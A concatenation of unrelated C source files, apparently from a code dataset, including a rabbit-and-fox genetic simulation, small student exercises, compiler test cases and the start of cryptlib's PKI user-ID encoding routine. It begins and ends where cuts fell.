return ReturnValue;
}
ReturnState KillRabbit (struct Entity **this)
{
//LogMessage ("KillRabbit() answering.");
/* This function does exactly what it says on the tin! The parameter
* (struct Entity **this) is necessary because this function needs to
* free() the memory and NULL it. Using (struct Entity *this) does
* not allow for this to be done.
*/
ReturnState ReturnValue = AllOK;
int X = (*this)->X, Y = (*this)->Y;
free (ScreenArray[X][Y][0]->GString);
ScreenArray[X][Y][0]->GString = NULL;
free (ScreenArray[X][Y][0]);
ScreenArray[X][Y][0] = NULL;
ScreenArray[X][Y] = NULL;
//LogMessage ("KillRabbit() returning.\n\n");
return ReturnValue;
}
ReturnState DoWhatRabbitsDoBest (void)
{
//LogMessage ("DoWhatRabbitsDoBest() answering.");
/*
* My usual convention is to set ReturnValue to AllOK by default
* but here I take the "guilty until proven innocent" approach
* by making the function find a free space before it is allowed
* to set ReturnValue to AllOK
*/
/*
* 10-05-05 Re-design notification
* Currently this function has the inefficiency of calling malloc()
* for the struct before we know that all of the functions calls necessary
* to get it running are working first
*/
/*
* The flow of this function goes something like this:
* Check for a free space in EntityArray
* if there is...
* set up the temp values (chromosomes and screen position)
* if not successful...
* report and exit
* else...
* malloc() the struct
* if not successful...
* report and exit
* else...
* init the GString
* if it didn't work
* free() and exit
* else
* set up the attributes and methods
* end if
* end if
* end if
* end if
* return
*/
ReturnState ReturnedError = AllOK; // What the function gets back ...
ReturnState ReturnValue = NoFreeSpaceError; // ... and what it gives back.
int i = 0, Index = 0, FreeSlot = 0, NumChromos = 0;
char *TempGString = NULL;
struct ScreenPoint *NewScreenPoint = NULL;
// First we find somewhere to put it ...
//LogMessage ("DoWhatRabbitsDoBest() looking for a free space.");
while ((i < MAXPLAYERS) && (ReturnValue == NoFreeSpaceError)) {
if (EntityArray[i] == NULL) {
//LogMessage ("DoWhatRabbitsDoBest() found one.");
// We got one!
/*
* 11 May 2005 - Design alteration
* Previously, the entity was malloc()'ed at this point before
* the GString was set. THEN the GString was set and if it failed
* then the GString had to be free()'d. Instead we now create a temporary
* value for the GString, check if it suceeded and only then malloc() the
* entity and copy it across if successful.
*/
// Ditto for the GetNewScreenPoint() call.
//LogMessage ("DoWhatRabbitsDoBest() setting up entity data.");
NumChromos = SetGString (&TempGString);
ReturnedError = GetNewScreenPoint (&NewScreenPoint);
//LogMessage ("DoWhatRabbitsDoBest() has set up entity data.");
// if no chromosomes OR the return value is not equal to AllOK (zero)...
if ((!NumChromos) || (ReturnedError)) {
//LogMessage ("Error setting up entity data in function DoWhatRabbitsDoBest().");
ReturnValue = ReturnedError;
}
else {
EntityArray[i] = (struct Entity *) malloc (sizeof (struct Entity));
if (EntityArray[i] == NULL) {
// Or have we?
//LogMessage ("DoWhatRabbitsDoBest() recieved error from malloc() call.");
ReturnValue = MallocError;
}
else {
EntityArray[i]->GString = (char *) malloc ((NumChromos * 3) + 1);
if (!(EntityArray[i]->GString)) {
free (EntityArray[i]);
ReturnValue = MallocError;
}
else {
// In order to get here all function calls **must** have worked
// so no Segmentation faults :)
FreeSlot = i;
ReturnValue = AllOK;
//LogMessage ("Copying GString.");
strncpy (EntityArray[FreeSlot]->GString, TempGString, ((NumChromos * 3) + 1));
//LogMessage ("DoWhatRabbitsDoBest() setting attributes and methods.");
// First the basic settings
EntityArray[FreeSlot]->Class = clHerb;
EntityArray[FreeSlot]->Name = idRabbit;
EntityArray[FreeSlot]->Appearance = RABBITCHAR;
EntityArray[FreeSlot]->X = NewScreenPoint->X;
EntityArray[FreeSlot]->Y = NewScreenPoint->Y;
EntityArray[FreeSlot]->MaxHealth = MAXRABBITHEALTH;
EntityArray[FreeSlot]->Health = (MAXRABBITHEALTH)/2;
EntityArray[FreeSlot]->GenePointer = 0;
EntityArray[FreeSlot]->Visible = True;
// Now the function pointers
EntityArray[FreeSlot]->GetMove = MoveRabbit;
EntityArray[FreeSlot]->HandleObstacle = BlockedRabbit;
EntityArray[FreeSlot]->HideEntity = HideRabbit;
EntityArray[FreeSlot]->KillEntity = KillRabbit;
EntityArray[FreeSlot]->SpawnEntity = DoWhatRabbitsDoBest;
//Now we need to put it on the ScreenArray
Index = (EntityArray[FreeSlot]->X + (EntityArray[FreeSlot]->Y * SCREENWIDTH));
ScreenArray[NewScreenPoint->X][NewScreenPoint->Y] = &(EntityArray[FreeSlot]);
} // if (!(EntityArray[i]->GString))
} // if (EntityArray[i] == NULL)
} // if ((!NumChromos) || (RecieptValue))
} // if (EntityArray[i] == NULL)
i++;
} // while ((i<MAXPLAYERS) && (ReturnState == NoFreeSpaceError))
//LogMessage (EntityArray[FreeSlot]->GString);
//LogMessage ("DoWhatRabbitsDoBest() returning.");
free (TempGString);
free (NewScreenPoint);
return ReturnValue;
}
// Fox functions.
Action MoveFox (struct Entity **this)
{
//LogStat ("MoveFox() answering, health = ", (*this)->Health);
Action ReturnValue = Stay;
ReturnState ReturnedError = AllOK;
(*this)->Health--;
// If it was hiding then unhide it.
(*this)->Visible = True;
if ((*this)->Health >= (*this)->MaxHealth) {
(*this)->Health = ((*this)->MaxHealth)/2;
//LogMessage ("MoveFox() calling (*this)->SpawnEntity().");
ReturnedError = (*this)->SpawnEntity();
//LogMessage ("MoveFox() called (*this)->SpawnEntity().");
ReturnValue = Stay;
}
else if ((*this)->Health <= 0) {
//LogMessage ("MoveFox() calling (*this)->KillEntity().");
ReturnedError = (*this)->KillEntity (this);
//LogMessage ("MoveFox() called (*this)->KillEntity().");
ReturnValue = Stay;
}
else if (!((*this)->GString)) {
//LogMessage ("(*this)->GString == NULL.");
}
/*
* If the flow reaches here them everything should be OK
* to move the rabbit, ahem, fox. Any conditions that
* would prevent the fox from moving should be handled
* before this point.
*/
else {
//LogMessage ("Function MoveFox() choosing next move.");
if (((*this)->GString[(*this)->GenePointer] == 'O') &&
((*this)->GString[(*this)->GenePointer + 1] == 'O') &&
((*this)->GString[(*this)->GenePointer + 2] == 'O')) {
ReturnValue = MoveRight;
}
else if (((*this)->GString[(*this)->GenePointer] == 'I') &&
((*this)->GString[(*this)->GenePointer + 1] == 'O') &&
((*this)->GString[(*this)->GenePointer + 2] == 'O')) {
ReturnValue = MoveUpRight;
}
else if (((*this)->GString[(*this)->GenePointer] == 'O')&&
((*this)->GString[(*this)->GenePointer + 1] == 'I') &&
((*this)->GString[(*this)->GenePointer + 2] == 'O')) {
ReturnValue = MoveUp;
}
else if (((*this)->GString[(*this)->GenePointer] == 'I') &&
((*this)->GString[(*this)->GenePointer + 1] == 'I') &&
((*this)->GString[(*this)->GenePointer + 2] == 'O')) {
ReturnValue = MoveUpLeft;
}
else if (((*this)->GString[(*this)->GenePointer] == 'O') &&
((*this)->GString[(*this)->GenePointer + 1] == 'O') &&
((*this)->GString[(*this)->GenePointer + 2] == 'I')) {
ReturnValue = MoveLeft;
}
else if (((*this)->GString[(*this)->GenePointer] == 'I') &&
((*this)->GString[(*this)->GenePointer + 1] == 'O') &&
((*this)->GString[(*this)->GenePointer + 2] == 'I')) {
ReturnValue = MoveDownLeft;
}
else if (((*this)->GString[(*this)->GenePointer] == 'O') &&
((*this)->GString[(*this)->GenePointer + 1] == 'I') &&
((*this)->GString[(*this)->GenePointer + 2] == 'I')) {
ReturnValue = MoveDown;
}
else if (((*this)->GString[(*this)->GenePointer] == 'I') &&
((*this)->GString[(*this)->GenePointer + 1] == 'I') &&
((*this)->GString[(*this)->GenePointer + 2] == 'I')) {
ReturnValue = MoveDownRight;
}
else {
/*
* If this runs there is problem with the GString so
* some extra coding is needed here to investigate and
* report the problem. For now lets just ignore it and
* carry on gracefully.
*/
ReturnValue = Stay;
}
//LogStat ("Function MoveFox() choose next move = ", ReturnValue);
(*this)->GenePointer += 3;
if ((*this)->GenePointer >= strlen ((*this)->GString)) {
(*this)->GenePointer = 0;
}
} // if ((*this)->GString == 0)
//LogMessage ("MoveFox() returning.");
return ReturnValue;
}
Action BlockedFox (struct Entity *this, struct Entity *that)
{
//LogMessage ("BlockedFox() answering.");
/*
* In this very key function we define what the animal actually eats.
* What happens is that when the controller gets a movement order from
* the animal and tries to move in that direction but finds its way
* blocked, it will then call this function, passing a pointer to
* obstacle, to ask the animal how to handle it. If the animal
* eats that obstacle or performs any other type of action with that
* obstacle then there will be an entry within the switch() statement
* in this function. If there is no entry in the switch() statement
* then the function defaults to Action Stay meaning that the blockage
* is unresolveable.
*/
Action ReturnValue = Stay;
ReturnState ReturnedError = AllOK;
//LogMessage ("BlockedFox() ready to run switch statement.");
switch (that->Name) {
case idRabbit:
//LogMessage ("BlockedFox() caught a rabbit.");
ReturnedError = that->KillEntity (&that);
//LogMessage ("BlockedFox() killed a rabbit.");
if (!ReturnedError) {
// Yum!
this->Health += RABBITNUTRITION;
}
break;
// If it's not a rabbit but it is a plant then walk over it!
default:
switch (that->Class) {
case clPlant:
//LogMessage ("BlockedFox() found some grass.");
ReturnedError = that->HideEntity (that);
if (!ReturnedError) {
// Onwards!
ReturnValue = Continue;
}
break;
default:
break; // Prevents compiler warning messages!
} // switch (that->EntityClass)
} // switch (that->EntityName)
//LogMessage ("BlockedFox() returning.");
return ReturnValue;
} // Action BlockedFox (struct Entity *this, struct Entity *that)
//ReturnState HideFox (struct Entity *this);
//ReturnState KillFox (struct Entity **this);
ReturnState TheFoxesAreAtItAgain (void)
{
//LogMessage ("TheFoxesAreAtItAgain() answering.");
/*
* My usual convention is to set ReturnValue to AllOK by default
* but here I take the "guilty until proven innocent" approach
* by making the function find a free space before it is allowed
* to set ReturnValue to AllOK
*/
/*
* 10-05-05 Re-design notification
* Currently this function has the inefficiency of calling malloc()
* for the struct before we know that all of the functions calls necessary
* to get it running are working first
*/
/*
* The flow of this function goes something like this:
* Check for a free space in EntityArray
* if there is...
* set up the temp values (chromosomes and screen position)
* if not successful...
* report and exit
* else...
* malloc() the struct
* if not successful...
* report and exit
* else...
* init the GString
* if it didn't work
* free() and exit
* else
* set up the attributes and methods
* end if
* end if
* end if
* end if
* return
*/
ReturnState ReturnedError = AllOK; // What the function gets back ...
ReturnState ReturnValue = NoFreeSpaceError; // ... and what it gives back.
int i = 0, Index = 0, FreeSlot = 0, NumChromos = 0;
char *TempGString = NULL;
struct ScreenPoint *NewScreenPoint = NULL;
// First we find somewhere to put it ...
//LogMessage ("TheFoxesAreAtItAgain() looking for a free space.");
while ((i < MAXPLAYERS) && (ReturnValue == NoFreeSpaceError)) {
if (EntityArray[i] == NULL) {
//LogMessage ("TheFoxesAreAtItAgain() found one.");
// We got one!
/*
* 11 May 2005 - Design alteration
* Previously, the entity was malloc()'ed at this point before
* the GString was set. THEN the GString was set and if it failed
* then the GString had to be free()'d. Instead we now create a temporary
* value for the GString, check if it suceeded and only then malloc() the
* entity and copy it across if successful.
*/
// Ditto for the GetNewScreenPoint() call.
//LogMessage ("TheFoxesAreAtItAgain() setting up entity data.");
NumChromos = SetGString (&TempGString);
ReturnedError = GetNewScreenPoint (&NewScreenPoint);
//LogMessage ("TheFoxesAreAtItAgain() has set up entity data.");
// if no chromosomes OR the return value is not equal to AllOK (zero)...
if ((!NumChromos) || (ReturnedError)) {
//LogMessage ("Error setting up entity data in function TheFoxesAreAtItAgain().");
ReturnValue = ReturnedError;
}
else {
EntityArray[i] = malloc (sizeof (struct Entity));
if (EntityArray[i] == NULL) {
// Or have we?
//LogMessage ("TheFoxesAreAtItAgain() recieved error from malloc() call.");
ReturnValue = MallocError;
}
else {
EntityArray[i]->GString = (char *) malloc ((NumChromos * 3) + 1);
if (!(EntityArray[i]->GString)) {
free (EntityArray[i]);
ReturnValue = MallocError;
}
else {
// In order to get here all function calls **must** have worked
// so no Segmentation faults :)
FreeSlot = i;
ReturnValue = AllOK;
//LogMessage ("Copying GString.");
strncpy (EntityArray[FreeSlot]->GString, TempGString, ((NumChromos * 3) + 1));
//LogMessage ("TheFoxesAreAtItAgain() setting attributes and methods.");
// First the basic settings
EntityArray[FreeSlot]->Class = clCarn;
EntityArray[FreeSlot]->Name = idFox;
EntityArray[FreeSlot]->Appearance = FOXCHAR;
//EntityArray[FreeSlot]->Colour = FOXCOLOUR;
EntityArray[FreeSlot]->X = NewScreenPoint->X;
EntityArray[FreeSlot]->Y = NewScreenPoint->Y;
EntityArray[FreeSlot]->MaxHealth = MAXFOXHEALTH;
EntityArray[FreeSlot]->Health = (MAXFOXHEALTH)/4;
EntityArray[FreeSlot]->GenePointer = 0;
EntityArray[FreeSlot]->Visible = True;
// Now the function pointers
EntityArray[FreeSlot]->GetMove = MoveFox;
EntityArray[FreeSlot]->HandleObstacle = BlockedFox;
EntityArray[FreeSlot]->HideEntity = HideRabbit;
EntityArray[FreeSlot]->KillEntity = KillRabbit;
EntityArray[FreeSlot]->SpawnEntity = TheFoxesAreAtItAgain;
//Now we need to put it on the ScreenArray
Index = (EntityArray[FreeSlot]->X + (EntityArray[FreeSlot]->Y * SCREENWIDTH));
ScreenArray[NewScreenPoint->X][NewScreenPoint->Y] = &EntityArray[FreeSlot];
} // if (!(EntityArray[i]->GString))
} // if (EntityArray[i] == NULL)
} // if ((!NumChromos) || (ReturnedError))
} // if (EntityArray[i] == NULL)
i++;
} // while ((i<MAXPLAYERS) && (ReturnState == NoFreeSpaceError))
//LogMessage (EntityArray[FreeSlot]->GString);
//LogMessage ("TheFoxesAreAtItAgain returning.");
free (TempGString);
free (NewScreenPoint);
return ReturnValue;
}
// Additional Miecos-specific functions
ReturnState GetNewScreenPoint (struct ScreenPoint **NewPoint)
{
/* Description:
* This function accepts an pointer a pointer to a struct, finds a space for it in ScreenArray,
* assigns values to its X and Y attributes if it finds a space and returns an error code
* depending on whether on not it was successful.
*
* Libraries:
* stdlib.h - malloc()
* - sizeof()
*
* Dependencies:
* LogMessage (char *)
* int Rand (int)
* enum ReturnState {}
* int MAXTRIES
* int SCREENWIDTH
* int SCREENHEIGHT
* ??? SCREENARRAY[( >= (SCREENHEIGHT * SCREENWIDTH))]
* struct ScreenPoint {... int X, int Y, ...}
*
* Prerequisites:
* This function requires that the parameter has been free()'d first, otherwise the memory
* will be lost resulting in a memory leak.
* It assumes that the array is a one-dimensional one that accesses two dimensions by
* the formula (X, Y) --> (X + (Y * SCREENWIDTH)).
*
* Issues:
* None known.
*
* Contract:
* This program accepts an unused pointer to a pointer to a struct, malloc()'s space to it,
* finds a place for it in the ScreenArray, assigns values for its X and Y arrtubutes and
* returns a value of zero if it was successful or one of the following values if it wasn't:
* NoFreePointError, MallocError.
*/
//LogMessage ("GetNewScreenPoint() answering.");
ReturnState ReturnValue = NoFreePointError;
int i = 0, j = 0, Tries = 0;
(*NewPoint) = NULL;
(*NewPoint) = (struct ScreenPoint *) malloc (sizeof (struct ScreenPoint));
if (NewPoint == NULL) {
ReturnValue = MallocError;
}
else {
while ((Tries < MAXTRIES) && (ReturnValue == NoFreePointError)) {
i = Rand (SCREENWIDTH);
j = Rand (SCREENHEIGHT);
if ((i == -1) || (j == -1)) {
//LogMessage ("Error in Rand function, invalid return value.");
ReturnValue = GeneralError;
}
else {
if (ScreenArray[i][j] == NULL) {
// We got one!
(*NewPoint)->X = i;
(*NewPoint)->Y = j;
ReturnValue = AllOK;
}
else {
Tries++;
}
} // if (ScreenArray[Index] == NULL)
} // while ((Tries < MAXTRIES) && (ReturnValue == NoFreePointError))
} // if (NewPoint == NULL)
//LogMessage ("GetNewScreenPoint() returning.");
//free (NewPoint);
return ReturnValue;
} // ReturnState GetNewScreenPoint (struct ScreenPoint **NewPoint)
int SetGString (char **NewGString)
{
/*
* Description:
* This function accepts a pointer to a string pointer, creates a random, null-terminated
* string of random length consisting of 'I''s and 'O''s and returns the number of
* chromosomes in the string (the length of the string will be ((ReturnValue * 3) + 1)).
*
* Libraries:
* stdlib.h - malloc(), free()
* strings.h - bzero()
*
* Dependencies:
* LogMessage (char *)
* int Rand (int)
* int MANGENESIZE
*
* Prerequisites:
* One of the first things this function does is to NULL the parameter so it needs
* to have been free()'d before being called, if necessary, otherwise anything the
* pointer points to will be lost and a memory leak will be created.
*
* Issues:
* No error-checking of the value of MAXGENESIZE.
*
* Contract:
* This function accepts an unused pointer to a char pointer. It will then NULL the
* pointer, malloc() space for it, create a randomly created genestring of random
* length to a maximum of (MAXGENESIZE * 3) plus the null character in that space and
* return the number of chromosomes in the string. If it encounters any errors it
* will NULL the string and return 0.
*/
/*
* 10 May 2005 - Design Alteration
* Originally this function took a pointer to a pointer to a char
* and used that to create and set the GString. Now however it takes
* no parameters but instead returns a pointer to the newly created
* GString. If there is an error in this function the returned char
* will be NULL
*/
/*
* 11 May 2005 - Design Alteration alteration
* For practical purposes this function will now work directly on the
* string itself and return the number of chromosomes. Otherwise we either
* need to pass the required length as a parameter OR get the length of the
* string with the strlen() function once it has been passed back. Neither
* of these solutions is very elegant.
*/
//LogMessage ("SetGString() answering.");
int i = 0, GeneLength = 0, NextGene = 0, NumChromo = 0;
/*
* Set size for this gene. The genes are a triplet system of the form
* OOI, IOI, etc. and MAXGENESIZE actually denotes the maximum number
* of triplets, NOT the total length of the string. The Rand() function
* return a random number in the range 0 <= ReturnedInt < MAXGENESIZE so this
* statement takes the return value and converts it into the actual length
* of the GString which will be a number divisible by 3. By default if the
* Rand() functions hits an error then it returns the value of -1 meaning
* that the statement below will evaluate to zero.
*/
(*NewGString) = NULL;
NumChromo = (Rand(MAXGENESIZE) + 1);
//LogStat ("GeneLength = ", GeneLength);
if (!(NumChromo)) {
// Houston, we have a problem.
//LogMessage ("Error getting NumChromo from Rand() in SetGString.");
//NumChromo = 0;
/*
* If the flow reaches here then there is an error howeverwe don't need to
* do anything right now except skip the rest of the function and send out an
* error message.
*/
}
else {
// malloc() memory for the GString and set the last value as NULL
GeneLength = (NumChromo * 3);
(*NewGString) = (char *) malloc (GeneLength + 1);
if (!(NewGString)) {
//LogMessage ("Malloc error in function SetGString.");
(*NewGString) = NULL;
NumChromo = 0;
}
else {
/*
* If there has been any problems earlier then ReturnValue will NOT equal
* AllOK. If it does then it should be safe to run this loop
*/
bzero ((*NewGString), (GeneLength + 1));
while (i < GeneLength) {
NextGene = Rand(2);
if (NextGene == 0) {
(*NewGString)[i] = 'O';
}
else if (NextGene == 1) {
(*NewGString)[i] = 'I';
}
else {
//LogMessage ("Error calling Rand() in function SetGString.");
free (*NewGString);
(*NewGString) = NULL;
i = GeneLength;
NumChromo = 0;
} // if (NextGene == 1)
i++;
} // while (i < GeneLength)
} // if (!(NewGString))
} // if (!(NumChromo));
//LogMessage (*NewGString);
//LogMessage ("SetGString() returning.");
//free (NewGString);
return NumChromo;
} // int SetGString (char **NewGString)
// Additional general functions
int Rand (int MaxNum)
{
/*
* Description:
* This function acts as a wrapper for the standard rand() function. It acts as limiter
* allowing for the return of a random number in a specified range.
*
* Libraries:
* stdlib.h - rand().
*
* Dependencies:
* None.
*
* Prerequisites:
* This function does not call the srand() function so this needs to be called
* separately if required.
*
* Issues:
* None known.
*
* Contract:
* This function accepts an integer value (MaxNum) in the range (0 < MaxNum <= 1000).
* It will then return a random value in the range (0 <= ReturnValue < MaxNum).
* If the parameter MaxNum is outside the range specified, the function will return
* the value -1.
*/
unsigned long RandNum;
int ReturnValue = 0;
if ((MaxNum > 0) && (MaxNum <= 1000)) {
RandNum = rand();
/* The next two lines assure that the value of the calculations
* cannot exceed the value of RAND_NUM as defined in stdlib.h
* by first reducing RandNum by 1024 and multiplying it by MaxNum
* which will not be larger than 1000. That should ensure no
* possibility of cut-off errors.
*/
RandNum = (RandNum/1024);
ReturnValue = (int)((RandNum*MaxNum)/(RAND_MAX/1024));
}
else {
ReturnValue = -1;
}
return ReturnValue;
} // int Rand (int MaxNum)
//void LogMessage (char *Message)
//{
/* if ((OutputFile = fopen (OUTPUTFILENAME, "a")) != NULL) {
fprintf (OutputFile, Message);
fprintf (OutputFile, "\n\n");
fclose (OutputFile);
}
//printf (Message);
// } // void LogMessage (char *Message)
//void LogStat (char *Message, int Stat)
//{
// static int LogCalls;
/ *
if ((OutputFile = fopen (OUTPUTFILENAME, "a")) != NULL) {
LogCalls ++;
//fprintf (OutputFile, "%i calls made to LogStat.\n", LogCalls);
fprintf (OutputFile, Message);
fprintf (OutputFile, "%i", Stat);
fprintf (OutputFile, "\n\n");
fclose (OutputFile);
}
} */ // void LogStat (char *Message, int Stat)
// Function header template
/* Description:
*
*
* Libraries:
*
*
* Dependencies:
*
*
* Prerequisites:
*
*
* Issues:
*
*
* Contract:
*
*/
|
the_stack_data/206392898.c
|
#include <stdio.h>
#include <string.h>
#define MAX 100
int substring(char *s1, char *s2) {
int i;
int d1 = strlen(s1);
int d2 = strlen(s2);
if (d1 > d2)
return 0;
for (i = 0; i < d2 - d1; i++)
if (strncmp(s1, s2 + i, d1) == 0)
return 1;
return 0;
}
int main() {
char s1[MAX], s2[MAX];
gets(s1);
gets(s2);
if (substring(s1, s2))
printf("%s is substring of %s\n", s1, s2);
else
printf("%s is NOT substring of %s\n", s1, s2);
return 0;
}
|
the_stack_data/28263160.c
|
/*
search routine generated by gen.
skip=uf2, match=fwd (using fwdr), shift=inc
*/
#ifndef CHARTYPE
#define CHARTYPE unsigned char
#endif
#define MAXPAT 256
#ifndef TABTYPE
#define TABTYPE long
#endif
typedef TABTYPE Tab;
extern int __mark(int);
static struct {
int patlen;
CHARTYPE pat[MAXPAT];
Tab delta[256];
} pat;
/* void prep(CHARTYPE* base, int m) */
/* { */
/* CHARTYPE *skipc; */
/* CHARTYPE *pe, *p; */
/* int j; */
/* Tab *d; */
/* pat.patlen = m; */
/* /\* if (m > MAXPAT) *\/ */
/* /\* abort(); *\/ */
/* for (int i = 0; __mark(0) & (i < pat.patlen); ++i) { */
/* pat.pat[i] = base[i]; */
/* } */
/* skipc = 0; */
/* d = pat.delta; */
/* for (j = 0; __mark(1) & (j < 256); j++) */
/* d[j] = pat.patlen; */
/* for (p = pat.pat, pe = p + m - 1; __mark(2) & (p < pe); p++) */
/* d[*p] = pe - p; */
/* d[*p] = 0; */
/* skipc = (CHARTYPE *)p; */
/* } */
int exec(CHARTYPE *base, int n, CHARTYPE* patBase, int m) {
/* prep(patBase, m); */
int nmatch = 0;
CHARTYPE *e, *s;
Tab *d0 = pat.delta;
int k;
CHARTYPE *p, *q;
CHARTYPE *ep;
int n1 = pat.patlen - 1;
s = base + pat.patlen - 1;
e = base + n;
for (int i = 0; __mark(10) & (i < pat.patlen); ++i) {
e[i] = pat.pat[pat.patlen - 1];
}
ep = pat.pat + pat.patlen - 1;
while (__mark(11) & (s < e)) {
k = d0[*s];
while (__mark(12) & (k)) {
k = d0[*(s += k)];
k = d0[*(s += k)];
}
if (s >= e)
break;
for (p = pat.pat, q = s - n1; __mark(13) & (p < ep);) {
if (*q++ != *p++)
goto mismatch;
}
nmatch++;
mismatch:
s++;
}
return (nmatch);
}
|
the_stack_data/98575157.c
|
/* APPLE LOCAL testsuite nested functions */
/* { dg-options "-fnested-functions" } */
typedef __SIZE_TYPE__ size_t;
extern int printf (const char *, ...);
extern void *memset (void *, int, size_t);
int bar (int (*)(), int, void *);
int
main(int argc, char **argv)
{
struct s { int a; char b[argc]; };
int nested (struct s x) { return x.a + sizeof(x); }
struct s t;
memset (&t, 0, sizeof(t));
t.a = 123;
printf("%d\n", bar (nested, argc, &t));
return 0;
}
|
the_stack_data/36074720.c
|
/* $Header$ */
/*
* (c) copyright 1983 by the Vrije Universiteit, Amsterdam, The Netherlands.
*
* This product is part of the Amsterdam Compiler Kit.
*
* Permission to use, sell, duplicate or disclose this software must be
* obtained in writing. Requests for such permissions may be sent to
*
* Dr. Andrew S. Tanenbaum
* Wiskundig Seminarium
* Vrije Universiteit
* Postbox 7161
* 1007 MC Amsterdam
* The Netherlands
*
*/
double _rnd(r) double r; {
return(r + (r<0 ? -0.5 : 0.5));
}
|
the_stack_data/638026.c
|
#include <stdio.h>
#include <stdlib.h>
void minmax(int *arr, int size, int *min, int *max);
int main()
{
int n;
int arr[500];
int min = 0,max = 15;
do{
scanf("%d",&n);
}while(n < 1);
minmax(arr, n, &min, &max);
return 0;
}
void minmax(int *arr, int size, int *min, int *max){
int i;
for(i = 0;i < size;i++){
scanf("%d",&arr[i]);
}
*max = 0;
*min = 0;
for(i = 0;i < size;i++){
if(arr[i] > *max){
*max = arr[i];
}
if(arr[i] < *min){
*min = arr[i];
}
}
printf("%d",*max + *min);
}
|
the_stack_data/93405.c
|
main ()
{
printf("I'am a C programmer\n");
}
|
the_stack_data/1122065.c
|
// RUN: %clang_cc1 -triple x86_64-unknown-linux -S -emit-llvm -debug-info-kind=limited %s -o - | FileCheck %s
// RUN: %clang_cc1 -triple powerpc64-ibm-aix-xcoff -S -emit-llvm -debug-info-kind=limited %s -o - | FileCheck %s
// CHECK: !DIGlobalVariable({{.*}}
// CHECK-NOT: expr:
static const __uint128_t ro = 18446744073709551615;
void bar(__uint128_t);
void foo(void) { bar(ro); }
|
the_stack_data/45448999.c
|
#include <unistd.h>
void ft_putchar(char c);
void rush(int x, int y)
{
int lin;
int col;
col = 1;
while (col <= y)
{
lin = 1;
while (lin <= x)
{
if ((lin == 1 || lin == x) && (col == 1 || col == y))
ft_putchar('o');
else if (lin == 1 || lin == x)
ft_putchar('|');
else if (lin == 1 || lin == x || col == 1 || col == y)
ft_putchar('-');
else
ft_putchar(' ');
lin++;
}
ft_putchar('\n');
col++;
}
}
|
the_stack_data/73143.c
|
/****************************************************************************
* *
* cryptlib PKI UserID En/Decoding Routines *
* Copyright Peter Gutmann 1998-2012 *
* *
****************************************************************************/
#if defined( INC_ALL )
#include "crypt.h"
#else
#include "crypt.h"
#endif /* Compiler-specific includes */
#ifdef USE_BASE64ID
/* The number of bits in each code group of 5 characters */
#define BITS_PER_GROUP ( 5 * 5 ) /* 5 chars encoding 5 bits each */
/* En/decode tables for text representations of binary keys. For the two
mask tables, only positions 4...7 are used */
static const char codeTable[] = \
"ABCDEFGHJKLMNPQRSTUVWXYZ23456789____"; /* No O/0, I/1 */
static const int hiMask[] = \
{ 0x00, 0x00, 0x00, 0x00, 0x0F, 0x07, 0x03, 0x01, 0x00, 0x00 };
static const int loMask[] = \
{ 0x00, 0x00, 0x00, 0x00, 0x80, 0xC0, 0xE0, 0xF0, 0x00, 0x00 };
/****************************************************************************
* *
* PKI User ID Encoding Functions *
* *
****************************************************************************/
/* Adjust the binary form of a PKI user ID so that it can be encoded into a
fixed number of text characters. This function is required because key
lookup is performed on the decoded form of the ID that's supplied via PKI
user requests, if we used the non-adjusted form for the key lookup then
we couldn't locate the stored user info that's indexed from the adjusted
form */
CHECK_RETVAL STDC_NONNULL_ARG( ( 1, 3 ) ) \
static int adjustPKIUserValue( INOUT_BUFFER( valueMaxLength, *valueLength ) \
BYTE *value,
IN_LENGTH_SHORT_MIN( 32 ) \
const int valueMaxLength,
OUT_LENGTH_BOUNDED_Z( valueMaxLength ) \
int *valueLength,
IN_RANGE( 3, 4 ) const int noCodeGroups )
{
assert( isWritePtrDynamic( value, valueMaxLength ) );
assert( isWritePtr( valueLength, sizeof( int ) ) );
REQUIRES( valueMaxLength >= 32 && valueMaxLength < MAX_INTLENGTH_SHORT );
REQUIRES( noCodeGroups == 3 || noCodeGroups == 4 );
/* Mask off any bits at the end of the data that can't be encoded using
the given number of code groups */
if( noCodeGroups == 3 )
{
/* Length = ( ( roundUp( 3 * BITS_PER_GROUP, 8 ) / 8 ) - 1 )
= ( 80 / 8 ) - 1
= 9
Mask = ( 0xFF << ( 8 - ( ( 3 * BITS_PER_GROUP ) % 8 ) ) )
= ( 0xFF << ( 8 - 3 ) )
= 0xE0 */
value[ 8 ] &= 0xE0;
*valueLength = 9;
}
else
{
/* Length = ( ( roundUp( 4 * BITS_PER_GROUP, 8 ) / 8 ) - 1 )
= ( 104 / 8 ) - 1
= 12
Mask = ( 0xFF << ( 8 - ( ( 4 * BITS_PER_GROUP ) % 8 ) ) )
= ( 0xFF << ( 8 - 4 ) )
= 0xF0 */
value[ 11 ] &= 0xF0;
*valueLength = 12;
}
return( CRYPT_OK );
}
/* Encode a text representation of a binary key */
CHECK_RETVAL STDC_NONNULL_ARG( ( 1, 3, 4 ) ) \
int encodePKIUserValue( OUT_BUFFER( encValMaxLen, *encValLen ) char *encVal,
IN_LENGTH_SHORT_MIN( 10 ) const int encValMaxLen,
OUT_LENGTH_BOUNDED_Z( encValMaxLen ) int *encValLen,
IN_BUFFER( valueLen ) const BYTE *value,
IN_LENGTH_SHORT_MIN( 8 ) const int valueLen,
IN_RANGE( 3, 4 ) const int noCodeGroups )
{
BYTE valBuf[ 128 + 8 ];
const int dataBytes = ( roundUp( noCodeGroups * BITS_PER_GROUP, 8 ) / 8 );
int i, byteCount = 0, bitCount = 0, length, status, LOOP_ITERATOR;
assert( isWritePtrDynamic( encVal, encValMaxLen ) );
assert( isWritePtr( encValLen, sizeof( int ) ) );
assert( isReadPtrDynamic( value, dataBytes ) );
REQUIRES( encValMaxLen >= 10 && encValMaxLen < MAX_INTLENGTH_SHORT );
REQUIRES( valueLen >= 8 && valueLen < MAX_INTLENGTH_SHORT );
REQUIRES( noCodeGroups == 3 || noCodeGroups == 4 );
REQUIRES( dataBytes >= 10 && dataBytes < 64 );
REQUIRES( valueLen >= dataBytes - 1 );
/* There must be enough input data present to produce the
required number of output bytes minus one for the checksum
at the start */
/* Clear return values */
memset( encVal, 0, min( 16, encValMaxLen ) );
*encValLen = 0;
/* Copy across the data bytes, leaving a gap at the start for the
checksum */
REQUIRES( boundsCheck( 1, dataBytes - 1, 128 ) );
memcpy( valBuf + 1, value, dataBytes - 1 );
status = adjustPKIUserValue( valBuf + 1, 128 - 1, &length,
noCodeGroups );
if( cryptStatusError( status ) )
return( status );
length += 1;
/* Calculate the Fletcher checksum and prepend it to the data bytes
This is easier than handling the addition of a non-byte-aligned
